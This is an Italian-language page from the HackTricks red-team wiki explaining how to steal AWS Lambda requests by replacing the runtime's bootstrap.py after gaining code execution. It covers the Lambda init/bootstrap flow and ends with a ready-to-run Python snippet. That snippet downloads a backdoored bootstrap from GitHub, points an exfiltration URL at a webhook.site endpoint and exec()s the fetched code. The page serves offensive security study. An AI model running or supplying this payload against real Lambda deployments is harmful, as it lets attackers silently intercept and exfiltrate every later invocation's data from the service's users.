AWS - Steal Lambda Requests

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

Flusso Lambda

  1. Slicer è un processo al di fuori del contenitore che invia invocazioni al processo init.

  2. Il processo init ascolta sulla porta 9001 esponendo alcuni endpoint interessanti:

  • /2018-06-01/runtime/invocation/next – ottenere l'evento di invocazione successivo

  • /2018-06-01/runtime/invocation/{invoke-id}/response – restituire la risposta dell'handler per l'invocazione

  • /2018-06-01/runtime/invocation/{invoke-id}/error – restituire un errore di esecuzione

  1. bootstrap.py ha un loop che ottiene le invocazioni dal processo init e chiama il codice degli utenti per gestirle (/next).

  2. Infine, bootstrap.py invia al processo init la risposta

Si noti che bootstrap carica il codice dell'utente come modulo, quindi qualsiasi esecuzione di codice eseguita dal codice degli utenti avviene effettivamente in questo processo.

Rubare le Richieste Lambda

L'obiettivo di questo attacco è far eseguire al codice degli utenti un processo bootstrap.py malizioso all'interno del processo bootstrap.py che gestisce la richiesta vulnerabile. In questo modo, il processo bootstrap malizioso inizierà a comunicare con il processo init per gestire le richieste mentre il processo legittimo di bootstrap è intrappolato eseguendo quello malizioso, quindi non chiederà richieste al processo init.

Questa è una semplice attività da realizzare poiché il codice dell'utente viene eseguito dal legittimo bootstrap.py processo. Quindi l'attaccante potrebbe:

  • Inviare un falso risultato dell'invocazione corrente al processo init, in modo che init pensi che il processo bootstrap stia aspettando ulteriori invocazioni.

  • Deve essere inviata una richiesta a /${invoke-id}/response

  • L'invoke-id può essere ottenuto dalla pila del legittimo processo bootstrap.py utilizzando il modulo python inspect (come proposto qui) o semplicemente richiedendolo nuovamente a /2018-06-01/runtime/invocation/next (come proposto qui).

  • Eseguire un bootstrap.py malizioso che gestirà le prossime invocazioni

  • Per scopi di stealthiness è possibile inviare i parametri delle invocazioni lambda a un C2 controllato dagli attaccanti e quindi gestire le richieste come al solito.

  • Per questo attacco, è sufficiente ottenere il codice originale di bootstrap.py dal sistema o da github, aggiungere il codice malizioso ed eseguirlo dall'invocazione lambda corrente.

Passaggi dell'Attacco

  1. Trova una vulnerabilità RCE.

  2. Esegui il bootstrap malizioso.

Puoi facilmente eseguire queste azioni eseguendo:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Per ulteriori informazioni controlla https://github.com/carlospolop/lambda_bootstrap_switcher

Riferimenti

Impara l'hacking su AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated